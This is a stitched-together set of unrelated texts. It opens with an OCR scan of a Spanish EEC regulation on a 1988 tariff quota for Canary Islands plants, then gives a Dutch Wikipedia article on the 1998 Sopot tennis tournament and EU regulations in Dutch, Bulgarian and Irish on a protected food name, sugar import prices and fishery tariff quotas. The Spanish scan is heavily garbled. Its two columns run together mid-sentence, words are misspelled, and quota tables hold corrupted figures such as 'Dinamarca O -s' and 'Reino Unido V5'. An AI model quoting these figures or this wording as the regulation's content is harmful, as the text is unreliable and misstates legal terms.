 que el presente Reglamento debe tener en cuenta este hecho puesto que
 prevé los códigos de la nomenclatura combinada así como , en su caso ,
 los números del código TARIC de dichos productos ;
 Considerando que procede garantizar, en particular , el
 acceso igual y continuo de todos los importadores de la
 ( 1 ) 00 n 2 L 302 de 15.11.1985 , p. 23 .
 ( 2 ) DO n2 L 133 de 25.5.1987 , p. 5 .
 ---pagebreak--- -2-
 Comunidad a dicho contingente y la aplicación , sin inte¬
 rrupción , de los tipos previstos para dicho contingente a
 todas las importaciones de los productos en cuestión , en
 todos los Estados miembros , hasta el agotamiento del
 contingente ; que un sistema de utilización del contingente
 arancelario comunitario basado en un reparto entre los
 Estados miembros puede respetar el carácter comunitario
 de dicho contingente respecto de los principios definidos
 anteriormente ; que, dicho reparto , con el fin de reflejar de
 la mejor forma posible la evolución real del mercado de los
 productos en cuestión , deberá efectuarse en proporción a
 las necesidades de los Estados miembros , que se calcularán ,
 por una parte , a partir de los datos estadísticos referentes a
 las imponaciones de dichos productos originarios de las
 Islas Canarias durante un período de referencia representa¬
 tivo y , por otra , a partir de las perspectivas económicas
 para el período contingentado considerado ;
 Considerando que , durante los tres últimos años para los
 que se dispone de datos estadísticos , las importaciones
 de los Estados miembros , han evolucionado como
 sigue :
 Estados miembros
 1984_ii 1985 i 1986
 Benelux ]r 42rn 5
 144 I 529
 Dinamarca 5/6 6
 República Federal de Alemania 180 219,9 308
 Grécia
 Espana 3 096 3 880 -
 Francia 15 26 35
 Irlanda
 1
 Italia 67 31,3 LL
 Portugal - -
 Reino Unido_|| 216 |I 177 !| 198
 Considerando que , teniendo en cuenta dichos elementos y
 la evolución previsible del mercado de los productos en
 Cuestión , pueden establecerse, en una primera fase , los
 porcentajes de participación inicial en el volumen contin-
 gentario aproximadamente tal como sigue :
 Benelux 6,50
 Dinamarca 0,08
 República Federal de Alemania 2,34
 Grécia 0,08
 Espaha 84,53
 Francia 0,27
 Irlanda 0,08
 Italia 1,06
 Portugal 0,08
 Reino Unido 4,98 :
 Considerando que , para tener en cuenta la evolución de las
 importaciones de los productos en cuestión en los diferen-
 ---pagebreak--- ч
 - з -
 tes Estados miembros , conviene dividir el volumen contin ¬ Considerando que , cuando en un Estado miembro exista
 gentarlo en dos partes , de las cuales la primera se repartirá un remanente significativo , en una fecha determinada del
 entre los Estados miembros y la segunda constituirá una periodo contingentario , es necesario que ese Estado devuel¬
 reserva destinada a cubrir posteriormente las necesidades va un porcentaje significativo a la reserva , con el fin de
 de los Estados miembros que hayan agotado su cuota evitar que una parte del contingente comunitario quede sin
 inicial ; que para garantizar cierta seguridad a los importa¬ utilizar en un Estado miembro cuando podría ser utilizada
 dores de cada Estado miembro conviene fijar la primera en los demás ;
 parte del contingente comunitario en un nivel que . en este
 caso, podría situarse aproximadamente en el 75% del Considerando que al estar el Reino de Bélgica , el Reino de
 volumen contingentario ; los Países Bajos y el Gran Ducado de Luxemburgo reunidos
 Considerando que las cuotas iniciales de los Estados miem¬ y representados por la Unión Económica del Benelux ,
 bros pueden agotarse más o menos rápidamente ; que, para cualquier operación referente a la gestión de las cuotas
 atribuidas a dicha Unión Económica podrá ser efectuada
 tener en cuenta este hecho y evitar toda discontinuidad , es
 importante que el Estado miembro que haya utilizado su por uno de sus miembros ,
 cuota inicial casi totalmente, haga uso de una cuota
 complementaria de la reserva ; que cada Estado miembro HA ADOPTADO EL PRESENTE RECLAMENTO :
 debe hacer uso de esta cuota cuando cada una de sus cuotas
 complementarias se haya utilizado casi en su totalidad y Arficulo 1
 ello tantas veces como lo permita la reserva ; que las cuotas
 iniciales y complementarias deberán ser válidas hasta finali¬ 1 . Ouedarán suspendidos, del 1 de enero al 31 de diciembre
 zar el periodo contingentario ; que ese modo de gestión de 1988 . os derechos de aduana aplicables a la importación
 exige la estrecha colaboración entre los Estados miembros en la Comunidad de los productos mencionados a conti¬
 y la Comisión , quien especialmente deberá poder seguir el nuación , originarios de las islas Canarias , en los niveles
 estado de agotamiento del volumen contingentario e infor¬ indicados frente a cada uno y en el límite de un contingente
 mar de ello a los Estados miembros ; arancelario comunitario de 4 700 toneladas :
 cocngo
 nomenc La tura
 Número combinad a Código Tipos de los
 orden
 DcsignacùSn de la mcrcancla derechos
 Nimexe
 09Û429 exoô.oi Bulbos , cebollas , tubérculos , raíces tuberosas , estolones y rizomas , L-II reposo
 vegetativo , en vegetación o en flor :
 – Bulbos , cebollas , tubérculos , raîces tubercosas , esto -
 lones y rizomas , en reposo vegetativo
 06.01.10-90 cualesquiera otros que no sean jacintos , narcisos , tulipanes y 06.01-19 5 %
 gladiolos
 ex 06.02
 i. Otras plantas y raíces vivas , incluidos las estaquillas y los injertos :
 Estaquillas sin raíces e injertos :
 06.02-19 5 %
 36.02 . 10-9D - Las demâs
 ex D6.02.40 I . Rosales , injertados o no
 ex 06.02.40-11 – Rosales ( todas las especies Rosa ) si n injertar ;
 – -– con cuello de un diàmetro de 10 mm como mâximo
 06.02-61 8,1 %
 ex 06.02.40-1 ? 06.02-65 8,1 J'°
 y - Los demâs
 – Los demâs
 16.02.99-43 - Esquejcs con raices y plantir.is 06.02-81 8,1 %
 16.02.99-49 Los demâs 06.02 - 83 8,1 %
 1)6.02.99-51 Otras plantas cultivadas al aire libre
 ( 16.02.99-59 Plantas vivaces 06.02 - 92 8,1 %
 Los demâs 06.02 - 93 8,1 %
 Plantas de interior :
 16.02.99-10 Esquejes con raíces y plamitas , con excepción de las
 cactáceas 06.02 - 94 8,1 %
 3602.99 -99 Cualesquiera que no sean las plantas de flor , en capullos o
 en flores , con excepción de las cactáceas 06.02 - 99 8,1 %
 ---pagebreak--- -4-
 Sin embargo , dentro del limite de dicho contingente arance- al 10 % de su cuota inicial , redondeada en su caso a la
 lario, los productos quedaràn exentos de derechos cuando unidad superior.
 se importen en la parte de Espana incluida cn el territorio
 aduanero de la Comunidad .
 2 . Si tras el agotamiento de su cuota inicial un Estado
 Dentro del límite de dicho contingente arancelario , la miembro utilizare la segunda cuota hasta el 90 % o más,
 República Portuguesa aplicará dercchos.de aduana calcula¬ hará uso , en las condiciones indicadas en el apartado 1 , de
 dos de conformidad con las disposiciones en la materia del una tercera cuota igual al 5 % de su cuota inicial , redondea¬
 Acta de adhesión de España y de Portugal y de los da en su caso a la unidad superior .
 reglamentos correspondientes.
 2 . Los productos regulados por el presente Reglamento 3 . Si tras el agotamiento de su segunda cuota , un Estado
 únicamente podrán beneficiarse del contingente arancelario miembro utilizare la tercera cuota hasta el 90 % o más ,
 si , en el momento de su presentación ante las autoridades hará uso , en las mismas condiciones , de una cuarta cuota
 encargadas de las formalidades de admisión para su despa¬ idêntica a la tercera .
 cho a libre práctica en el territorio aduanero de la Comuni¬
 dad , sin perjuicio de las otras disposiciones en materia de Este proceso se aplicara hasta el agotamiento de la réser¬
 normas de calidad , se presentaren en envases que lleven la va .
 mención , claramente visible y perfectamente legible, « Islas
 Canarias » o su traducción en otra lengua oficial de la
 Comunidad .
 4 . No obstante lo dispuesto en los apartados 1 , 2 y 3 , los
 Estados miembros podrán hacer uso de cuotas inferiores a
 las que se establecen en estos apartados , si existen razones
 Articulo 2 para prever que tales cuotas podrían no quedar agotadas e
 informarán a la Comisión de los motivos que les determina¬
 1 . La primera parte del contingente arancelario comunita¬ ron a aplicar el presente apartado .
 rio mencionado en el artículo 1 , 3.525 toneladas , se
 repartirá entre los Estados miembros ; las cuotas , sin per¬
 juicio del artículo 5 , serán válidas hasta el 31 de diciembre
 de 198 8 y alcanzarán las siguientes cantidades :
 Artículo 4
 (en toncladas)
 Benelux 230
 3 Las cuotas complementarias utilizadas en aplicación del
 Dinamarca O -s
 iid artículo 3 serán válidas hasta el 31 de diciembre de 198 8
 República Federal de Alemania 3
 Grécia
 Espana 2 930
 r\
 Francia y
 Irlanda 3
 Artículo S
 Italia 37
 Portugal 3
 Reino Unido V5 Los Estados " miembros devolverán a la reserva , a más
 tardar el 1 de octubre de 1988 la parte de su cuota inicial
 2. La segunda parte , es decir 1175 toneladas , constituirá la no utilizada que , en la fecha de 15 de septiembre de 1988
 reserva .
 supere en un 20 % al volumen inicial . Podrán devolver una
 cantidad mayor si existen razones para prever que dicha
 cantidad podría no ser utilizada .
 Los Estados miembros comunicarán a la Comisión , a más
 tardar el 1 de octubre de 198 8, el total de las importaciones
 de los productos en cuestión efectuadas hasta el 15 de
 septiembre de 1988 y asignadas al contingente arancelario
 comunitario , así como , en su caso, la parte de su cuota
 inicial que devolverán a la reserva .
 Artículo 3
 1 . Cuando la cuota inicial de un Estado miembro , tal Artículo 6
 como queda establecida en el apartado 1 del artículo 2 , o la
 misma cuota icbajada en la parte que fue devuelta a la La Comisión contabilizará los volúmenes de las cuotas
 reserva , si se aplicó el artículo 5 , se utilizare hasta el 90 % abiertas por los Estados miembros , de conformidad con los
 o más , este Estado miembro , mediante notificación a la artículos 2 y 3 , e informará a cada uno de ellos , en cuanto
 Comisión V en la medida que el montante de la reserva lo reciba las notificaciones , del estado de agotamiento de la
 permita , hará uso , sin demora , de una segunda cuota igual reserva .
 ---pagebreak--- - 5 -
 La Comisión informará a los Estados miembros , a más éstos se presenten en aduana al amparo de declaraciones de
 tardar el 5 de octubre de 1988, del estado de la reserva , despacho a libre práctica .
 tras las devoluciones efectuadas en aplicación del
 artículo 5 . 4 . EI estado de agotamiento de las cuotas de los Estados
 miembros se comprobará basándose en las importaciones
 La Comisión procurará que el uso de la cuota que agota la asignadas en las condiciones definidas en el apartado 3 .
 reserva se limite al saldo disponible y , con tal fin , precisará
 el volumen al Estado miembro que proceda a este último
 uso de la reserva . Articulo 8
 A instancia de la Comisión , los Estados miembros le
 Artículo 7
 informarán de las importaciones realmente asignadas a sus
 cuotas .
 1 . Los Estados miembros adoptarán todas las medidas
 adecuadas para que la apertura de las cuotas complementa ¬ Artículo 9
 rias que han usado en aplicación del artículo 3 , haga
 posible la asignación , de manera continua , a las partes Los Estados miembros y la Comisión colaborarán estrecha¬
 acumuladas del contingente comunitario . mente con el fin de garantizar el cumplimiento del presente
 Reglamento .
 2. ' Los Estados miembros garantizarân a los importadores
 de los productos en cuestiôn el libre acceso a las cuotas que
 les sean atribuidas . Artículo 10
 3 . Los Estados miembros asignarán a sus cuotas las El presente Reglamento entrará en vigor el 1 de enero de
 importaciones de los productos en cuestión a medida que 1988-
 El presente Reglamento será obligatorio en todos sus elementos y directamente aplicable en
 cada Estado miembro .
 Hecho en Bruselas , el
 Por el Consejo
 El Presidente


text:
Het WTA-tennistoernooi van Sopot (officieel Prokom Polish Open) van 1998 vond plaats van 27 juli tot en met 2 augustus 1998 in de Poolse plaats Sopot. Het was de eerste editie van het toernooi. Er werd gespeeld op gravelbanen.
 Enkelspel
 Het eerste reekshoofd, Henrieta Nagyová uit Slowakije, won het toernooi. In de finale versloeg zij de ongeplaatste Duitse Elena Wagner in drie sets. Nagyová won hiermee haar derde WTA-titel, de eerste van dat jaar. Zij won US$ 17.700 prijzengeld op dit toernooi.
 De Belgische Laurence Courtois had zich via het kwalificatietoernooi een plek in de hoofdtabel veroverd – daarin verloor zij evenwel haar openingspartij.
 De Nederlandse Kristie Boogert, als achtste geplaatste, bereikte de tweede ronde. Haar landgenote Seda Noorlander werd al in de eerste ronde uitgeschakeld door de latere winnares.
 Geplaatste speelsters
 Toernooischema
 Finale
 Bovenste helft
 Onderste helft
 Dubbelspel
 Het eerste reekshoofd, Virág Csurgó en Laura Golarsa, had zich kort voor aanvang van het toernooi afgemeld – hun ereplaats in het toernooischema werd overgenomen door lucky losers Blanka Kumbárová en Sylwia Rynarzewska.
 Het ongeplaatste Tsjechische duo Květa Hrdličková en Helena Vildová won het toernooi. In de finale versloegen zij het eveneens ongeplaatste Zweeds/Nederlands koppel Åsa Carlsson en Seda Noorlander in twee sets. Het was hun enige gezamenlijke titel. Vildová had daarnaast twee eerdere dubbelspeltitels met een andere partner; Hrdličková geen.
 Behalve Seda Noorlander waren er geen andere deelneemsters uit de Lage Landen.
 Geplaatste teams
 Prijzengeld
 Toernooischema
 Externe links
 Toernooischema WTA
 Toernooischema ITF
 Sopot 1998
 Sopot


text:
 15.11.2011
 NL
 Publicatieblad van de Europese Unie
 L 296/16
 UITVOERINGSVERORDENING (EU) Nr. 1155/2011 VAN DE COMMISSIE
 van 10 november 2011
 houdende inschrijving van een benaming in het register van beschermde oorsprongsbenamingen en beschermde geografische aanduidingen (Šebreljski želodec (BGA))
 DE EUROPESE COMMISSIE,
 Gezien het Verdrag betreffende de werking van de Europese Unie,
 Gezien Verordening (EG) nr. 510/2006 van de Raad van 20 maart 2006 inzake de bescherming van geografische aanduidingen en oorsprongsbenamingen van landbouwproducten en levensmiddelen (1), en met name artikel 7, lid 4, eerste alinea,
 Overwegende hetgeen volgt:
 (1)
 Overeenkomstig artikel 6, lid 2, eerste alinea, van Verordening (EG) nr. 510/2006 is de door Slovenië ingediende aanvraag tot registratie van de benaming „Šebreljski želodec” bekendgemaakt in het Publicatieblad van de Europese Unie
 (2).
 (2)
 Aangezien bij de Commissie geen bezwaren zijn ingediend overeenkomstig artikel 7 van Verordening (EG) nr. 510/2006, moet deze benaming worden ingeschreven in het register van beschermde oorsprongsbenamingen en beschermde geografische aanduidingen,
 HEEFT DE VOLGENDE VERORDENING VASTGESTELD:
 Artikel 1
 De in de bijlage vermelde benaming wordt ingeschreven in het register van beschermde oorsprongsbenamingen en beschermde geografische aanduidingen.
 Artikel 2
 Deze verordening treedt in werking op de twintigste dag na die van de bekendmaking ervan in het Publicatieblad van de Europese Unie.
 Deze verordening is verbindend in al haar onderdelen en is rechtstreeks toepasselijk in elke lidstaat.
 Gedaan te Brussel, 10 november 2011.
 Voor de Commissie, namens de voorzitter,
 Dacian CIOLOȘ
 Lid van de Commissie
 (1) PB L 93 van 31.3.2006, blz. 12.
 (2) PB C 45 van 12.2.2011, blz. 25.
 BIJLAGE
 In bijlage I bij het Verdrag genoemde landbouwproducten voor menselijke consumptie:
 Categorie 1.2. Vleesproducten (verhit, gepekeld, gerookt, enz.)
 SLOVENIË
 Šebreljski želodec (BGA)


text:
 30.9.2011
 BG
 Официален вестник на Европейския съюз
 L 254/12
 РЕГЛАМЕНТ ЗА ИЗПЪЛНЕНИЕ (ЕC) No 971/2011 НА КОМИСИЯТА
 от 29 септември 2011 година
 относно определяне на представителните цени и размерите на допълнителните вносни мита за някои продукти от сектора на захарта за 2011/2012 пазарна година
 ЕВРОПЕЙСКАТА КОМИСИЯ,
 като взе предвид Договора за функционирането на Европейския съюз,
 като взе предвид Регламент (ЕО) No 1234/2007 на Съвета от 22 октомври 2007 г. за установяване на обща организация на селскостопанските пазари и относно специфични разпоредби за някои земеделски продукти („Общ регламент за ООП“) (1), и по-специално член 143 във връзка с член 4 от него,
 като има предвид, че:
 (1)
 Регламент (ЕО) No 951/2006 на Комисията от 30 юни 2006 г. относно определяне на подробни правила за прилагане на Регламент (ЕО) No 318/2006 на Съвета по отношение на търговията с трети страни на продукти от сектора на захарта (2) предвижда цените CIF при внос на бяла захар и сурова захар да бъдат смятани за „представителни цени“. Тези цени следва да бъдат определени за вида качество, посочено съответно в приложение IV, точка II и точка III от Регламент (ЕО) No 1234/2007.
 (2)
 За определянето на тези представителни цени е необходимо да се вземе предвид цялата информация, посочена в член 23 от Регламент (ЕО) No 951/2006, без случаите, предвидени в член 24 от горепосочения регламент.
 (3)
 За коригирането на цена, която не се отнася до стандартно качество, за бялата захар следва към избраните оферти да се приложи увеличаването или намаляването, посочено в член 26, параграф 1, буква а) от Регламент (ЕО) No 951/2006. За суровата захар следва да се приложи методът на коригиращите коефициенти, посочен в буква б) от посочения параграф.
 (4)
 При наличието на разлика между началната цена на съответния продукт и представителната цена следва да се определят допълнителни вносни мита, ако са налице условията, предвидени в член 39 от Регламент (ЕО) No 951/2006.
 (5)
 Следва да се определят представителните цени и допълнителните мита при внос на съответните продукти съгласно член 36 от Регламент (ЕО) No 951/2006.
 (6)
 Мерките, предвидени в настоящия регламент, са в съответствие със становището на Управителния комитет за общата организация на селскостопанските пазари,
 ПРИЕ НАСТОЯЩИЯ РЕГЛАМЕНТ:
 Член 1
 Представителните цени и допълнителните мита, които се прилагат при внос на продуктите, посочени в член 36 от Регламент (ЕО) No 951/2006, се определят в приложението към настоящия регламент.
 Член 2
 Настоящият регламент влиза в сила на 1 октомври 2011 година.
 Настоящият регламент е задължителен в своята цялост и се прилага пряко във всички държави-членки.
 Съставено в Брюксел на 29 септември 2011 година.
 За Комисията, от името на председателя,
 José Manuel SILVA RODRÍGUEZ
 Генерален директор на Генерална дирекция „Земеделие и развитие на селските райони“
 (1) ОВ L 299, 16.11.2007 г., стр. 1.
 (2) ОВ L 178, 1.7.2006 г., стр. 24.
 ПРИЛОЖЕНИЕ
 Представителни цени и допълнителни вносни мита за бяла захар, сурова захар и продуктите с код по КН 1702 90 99, приложими от 1 октомври 2011 година
 (EUR)
 Код по КН
 Размер на представителната цена за 100 kg нето от съответния продукт
 Размер на допълнителното мито за 100 kg нето от съответния продукт
 1701 11 10 (1)
 44,74
 0,00
 1701 11 90 (1)
 44,74
 1,48
 1701 12 10 (1)
 44,74
 0,00
 1701 12 90 (1)
 44,74
 1,19
 1701 91 00 (2)
 47,22
 3,30
 1701 99 10 (2)
 47,22
 0,17
 1701 99 90 (2)
 47,22
 0,17
 1702 90 95 (3)
 0,47
 0,23
 (1) Определяне за стандартно качество, както е посочено в приложение IV, точка III от Регламент (ЕО) No 1234/2007 на Съвета (ОВ L 299, 16.11.2007 г., стр.1).
 (2) Определяне за стандартното качество, както е посочено в приложение IV, точка II от Регламент (ЕО) No 1234/2007.
 (3) Определяне за 1 % съдържание на захароза.


text:
 AN COIMISIÚN EORPACH
 An Bhruiséil,10.1.2020
 COM(2020) 5 final
 2020/0004(NLE)
 Togra le haghaidh
 RIALACHÁN ÓN gCOMHAIRLE
 maidir le leasú Rialachán (AE) 2018/1977 ón gComhairle lena n-osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus lena bhforáiltear maidir leis an mbainistiú sin
 MEABHRÁN MÍNIÚCHÁIN
 1.COMHTHÉACS AN TOGRA
 Rinneadh Rialachán 2018/1977 ón gComhairle lena n‐osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus lena bhforáiltear maidir leis an mbainistiú sin a ghlacadh an 14 Nollaig 2018.
 Is é is cuspóir don Rialachán sin an t‐iomaíochas i dtionscal próiseála an Aontais a áirithiú agus gan táirgeadh táirgí iascaigh san Aontas a chur i mbaol trí sholáthar leordhóthanach táirgí iascaigh don tionscal a chinntiú. Chuige sin, déantar dleachtanna allmhairiúcháin ar líon áirithe táirgí iascaigh a laghdú agus a chur ar fionraí leis an Rialachán, laistigh de tharaif-chuótaí méid iomchuí. Sainítear ann freisin na hoibríochtaí próiseála (“oibríochtaí cáilitheacha”) ar féidir taraif-chuótaí a úsáid leo chomh maith leo siúd nach féidir.
 2.TORTHAÍ NA gCOMHAIRLIÚCHÁN LEIS NA PÁIRTITHE LEASMHARA
 Tar éis dóibh Rialachán 2018/1977 ón gComhairle a ghlacadh, chuir Ballstát agus roinnt próiseálaithe de chuid an Aontais an Coimisiún ar an eolas nach bhfuil próiseálaithe in ann eochraí éisc chrua phróiseáilte atá faoi chód AC 1604 32 00 (ionadach caibheáir) a allmhairiú a thuilleadh mar a rinneadh faoin réim a bhí ann roimhe sin ós rud é gur scriosadh an cód AC sin de tharaif-chuóta uathrialaitheach 09.2750 a leagtar amach i Rialachán 2015/2265 ón gComhairle a bhí ann roimhe sin. Sa Rialachán maidir le taraif-chuótaí uathrialaitheacha (2019-2020) atá ann faoi láthair, cuireadh cód AC 0305 20 00 (aenna, eochraí agus lábáin ó éisc, iad triomaithe, deataithe, saillte nó faoi sháile) in ionad chód AC 1604 32 00 (ionadach caibheáir) chun gur fearr a thiocfaidh sé leis an tuairisc ar an táirge (eochraí éisc chrua, í nite, na horgáin ghreamaitheacha bainte di agus í saillte go simplí nó faoi sháile, chun ionadach caibheáir a mhonarú).
 De thoradh scriosadh chód AC 1604 32 00, tháinig méadú ar an dleacht atá ar na táirgí sin ó 0 % go 20 % ós rud é nach féidir leas a bhaint as réim an taraif-chuóta uathrialaithigh a thuilleadh i gcás na dtáirgí sin. Mar sin, tabhaíodh caillteanais mhóra mar gheall ar na méideanna a bhí i gceist agus ós rud é go raibh conarthaí fadtéarmacha leanúnacha fós i bhfeidhm. Ós rud é gur coinníodh cód AC 1604 32 00 sa togra ón gCoimisiún agus nár glacadh an Rialachán nua, a tháinig i bhfeidhm an 1 Eanáir 2019, go dtí an 14 Nollaig 2018, deir na cuideachtaí go raibh an t‐athrú féin dothuartha agus nár leor an t‐am a fágadh acu chun dul in oiriúint leis ós rud é go mbíonn na conarthaí leis na soláthraithe i bhfeidhm ar feadh tréimhsí fada.
 Rinneadh anailís dhomhain inar deimhníodh gur tháinig laghdú suntasach ar na hallmhairí lena mbaineann mar gheall ar an athrú cóid (níor úsáideadh ach 400 tona de na 1 500 tona atá sa taraif-chuóta uathrialaitheach, i gcomparáid le 958 tona in 2018).
 Ar an taobh eile, is é is cuspóir do na taraif-chuótaí uathrialaitheacha breisluach agus fostaíocht a chruthú. I bhfianaise an mhéid sin, ní féidir coscairt, athphacáistiú agus paistéaradh a mheas mar “phróiseáil” a chruthódh breisluach suntasach. Is sa chomhthéacs sin a cuireadh cód AC 0305 20 00 (aenna, eochraí agus lábáin ó éisc, iad triomaithe, deataithe, saillte nó faoi sháile) in ionad chód AC 1604 32 00 (ionadach caibheáir).
 Le linn an phlé ar an Rialachán faoi tharaif-chuótaí uathrialaitheacha 2019-2020 i ndáil le heochraí éisc chrua, ghlac an Coiste um an gCód Custaim Nótaí Míniúcháin nua a ghabhann leis an Ainmníocht Chomhcheangailte (CNEN) le haghaidh fho-cheannteideal 0305 20 00, lena soiléirítear raon feidhme an fho-cheannteidil sin trí shainmhínithe breise a sholáthar. Sna Nótaí Míniúcháin nua, luaitear gur faoin bhfo-cheannteideal sin a aicmeofar eochraí éisc shaillte atá mí-oiriúnach lena gcaitheamh láithreach mar chaibheár nó ionadach caibheáir mar atá siad faoi láthair, gan próiseáil bhreise, ach atá beartaithe chun ionadach caibheáir a mhonarú.
 Dá bhrí sin, is féidir a bhaint de thátal gur i gcomhréir le cuspóirí na dtaraif-chuótaí uathrialaitheacha atá sé cód AC 0305 20 00 a chur in ionad chód AC 1604 32 00 sa Rialachán nua maidir le taraif-chuótaí uathrialaitheacha (2019-2020). Mar sin féin, bhí drochthionchar suntasach ar thionscal na heochraí san Aontas Eorpach ós rud é gur glacadh go déanach an Rialachán ag a bhfuil cód AC le haghaidh an taraif-chuóta uathrialaithigh 09.2750 chéanna a bhí difriúil leis an méid a luadh sa togra ón gCoimisiún agus sa reachtaíocht a tháinig roimhe, agus nach raibh tuiscint shoiléir ag an tionscal ar an difríocht idir an dá chód AC (rud a rinneadh níos doiléire fós ós rud é go bhfuil an tsraithuimhir chéanna acu). Níor cheart an sreabhadh trádála a scor go tobann de dheasca an athraithe sa chód AC.
 2.BUNÚS DLÍ, COIMHDEACHT AGUS COMHRÉIREACHT
 •Bunús dlí
 Airteagal 31 CFAE.
 •Coimhdeacht (maidir le hinniúlacht neamheisiach)
 Tagann dleachtanna na Comhtharaife Custaim faoi inniúlacht eisiach an Aontais. Níl feidhm ag prionsabal na coimhdeachta maidir leis na forálacha seo dá bhrí sin.
 •Comhréireacht
 Tá an rogha bheartais comhréireach mar níl ach méid teoranta de gach táirge údaraithe, agus an ráta úsáide, cothrom iomaíochta idir táirgeoirí an Aontais agus táirgeoirí lasmuigh den Aontas, breisluach agus fabhair thrádála eile á gcur san áireamh.
 Comhlíonann an togra prionsabal na comhréireachta mar is comhbheartas é an t‐aontas custaim agus ba cheart é a chur chun feidhme le Rialachán arna ghlacadh ag an gComhairle.
 •An rogha ionstraime
 Neamhbhainteach.
 3.IMPLEACHTAÍ BUISÉADACHA
 Beidh impleacht bhuiséadach ag an togra ar ioncam.
 2020/0004 (NLE)
 Togra le haghaidh
 RIALACHÁN ÓN gCOMHAIRLE
 maidir le leasú Rialachán (AE) 2018/1977 ón gComhairle lena n-osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus lena bhforáiltear maidir leis an mbainistiú sin
 TÁ COMHAIRLE AN AONTAIS EORPAIGH,
 Ag féachaint don Chonradh ar Fheidhmiú an Aontais Eorpaigh, agus go háirithe Airteagal 31 de,
 Ag féachaint don togra ón gCoimisiún Eorpach,
 De bharr an mhéid seo a leanas:
 (1)Le Rialachán (AE) 2018/1977 ón gComhairle
 1
 , osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus foráiltear maidir leis an mbainistiú sin. Cinntear méideanna iomchuí le haghaidh gach taraif-chuóta chun a áirithiú go mbeidh soláthar leordhóthanach do thionscal an Aontais le linn na tréimhse 2019-2020.
 (2)Laistigh den taraif-chuóta uathrialaitheach ag a bhfuil sraithuimhir 09.2750, a liostaítear san Iarscríbhinn a ghabhann le Rialachán 2018/1977, is iad na táirgí atá faoi chód AC ex 0305 20 00 ag a bhfuil cód TARIC 35 na táirgí amháin a chomhfhreagraíonn don tuairisc “eochraí éisc chrua, í nite, na horgáin ghreamaitheacha bainte di agus í saillte go simplí nó faoi sháile, chun ionadach caibheáir a mhonarú”.
 (3)Faoi Rialachán 2015/2265 ón gComhairle
 2
 a tháinig roimh Rialachán (AE) 2018/1977, áfach, soláthraíodh an taraif-chuóta lena mbaineann ar bhealach difriúil, agus rinneadh tagairt do tháirge chód AC ex 1604 32 00 ag a bhfuil cód TARIC 20 mar an t‐aon táirge a cumhdaíodh leis an tuairisc “eochraí éisc chrua, í nite, na horgáin ghreamaitheacha bainte di agus í saillte go simplí nó faoi sháile, chun ionadach caibheáir a mhonarú”.
 (4)De thoradh an athraithe sa chód AC le haghaidh shraithuimhir 09.2750, bhí deacrachtaí ann don tionscal an fhoráil lena mbaineann a léirmhíniú, agus ní raibh tuiscint shoiléir ag an tionscal maidir leis na difríochtaí idir an dá chód AC (rud a rinneadh níos doiléire fós ós rud é go bhfuil an tsraithuimhir chéanna acu), agus bhí drochthionchar aige sin ar thionscal próiseála an Aontais.
 (5)Is iomchuí na táirgí a chumhdaítear leis an taraif-chuóta le haghaidh shraithuimhir 09.2750 a mhodhnú ionas go mbeidh táirgí chód AC 1604 32 00 ag a bhfuil cód TARIC 20 san áireamh go ceann tréimhse theoranta bliana amháin, chomh maith le fonóta a dhéanfaidh tagairt do na cóid CN agus TARIC sin ina luaitear tréimhse ón 1 Eanáir 2019 go dtí an 31 Nollaig 2019 a chur san áireamh freisin.
 (6)Dá bhrí sin, ba cheart Rialachán (AE) 2018/1977 a leasú dá réir.
 (7)Beidh feidhm ag na cuótaí a osclaítear le Rialachán (AE) 2018/1977 sa chéad bhliain i rith na tréimhse ón 1 Eanáir 2019 go dtí an 31 Nollaig 2019. Ós rud é gur gá a áirithiú go gcaithfear go cothrom le hoibreoirí eacnamaíocha, agus é a chur san áireamh nach bhfuil an taraif-chuóta faoi shraithuimhir 09.2752 caite fós, ba cheart an Rialachán seo a chur i bhfeidhm go haisghníomhach le héifeacht ón 1 Eanáir 2019 ionas go mbeidh an deis ag na hoibreoirí eacnamaíocha a bhaineann úsáid as eochraí éisc chrua (críochtháirgí) leas a bhaint as an dleacht chuóta fhabhrach i gcónaí gan bhriseadh ar feadh tréimhse theoranta ama. Ar na cúiseanna céanna, ba cheart an Rialachán seo a theacht i bhfeidhm láithreach.
 TAR ÉIS AN RIALACHÁN SEO A GHLACADH:
 Airteagal 1
 Leasaítear an tríú líne den Iarscríbhinn a ghabhann le Rialachán (AE) 2018/1977 ón gComhairle (sraithuimhir 09.2750) mar seo a leanas:
 (1)cuirtear an méid seo a leanas in ionad na hiontrála faoin gcolún “cód AC”:
 “ex 0305 20 00
 ex 1604 32 00”;
 (2)cuirtear an méid seo a leanas in ionad na hiontrála faoin gcolún “cód TARIC”:
 “35
 20”;
 (3)cuirtear an fonóta seo a leanas leis an gcolún “tuairisc” i ndiaidh an fhocail “ionadach caibheáir”:
 “Maidir le cód TARIC 1604 32 00 20, beidh feidhm ag an taraif-chuóta seo ón 1 Eanáir 2019 go dtí an 31 Nollaig 2019”.
 Airteagal 2
 Tiocfaidh an Rialachán seo i bhfeidhm an lá tar éis lá a fhoilsithe in Iris Oifigiúil an Aontais Eorpaigh.
 Beidh feidhm aige ón 1 Eanáir 2019.
 Beidh an Rialachán seo ina cheangal go huile agus go hiomlán agus beidh sé infheidhme go díreach i ngach Ballstát.
 Arna dhéanamh sa Bhruiséil,
 Thar ceann na Comhairle
 An tUachtarán
 RÁITEAS AIRGEADAIS REACHTACH
 1.1.AINM AN TOGRA
 Togra le haghaidh leasú ar Rialachán (AE) 2018/1977 ón gComhairle lena n‐osclaítear bainistiú tharaif-chuótaí uathrialaitheacha an Aontais le haghaidh táirgí iascaigh áirithe le linn na tréimhse 2019-2020 agus lena bhforáiltear maidir leis an mbainistiú sin.
 2.LÍNTE BUISÉID
 Líne ioncaim: Caibidil 1 2, Airteagal 1 2 0 – Dleachtanna custaim agus dleachtanna eile dá dtagraítear i bpointe (a) d’Airteagal 2(1) de Chinneadh 2014/335/AE ó Euratom (Méid arna bhuiséadú don bhliain airgeadais 2019 – EUR 21 471,2 milliún)
 (i gcás ioncam sannta amháin) Sannfar an t‐ioncam don chaibidil chaiteachais seo a leanas:
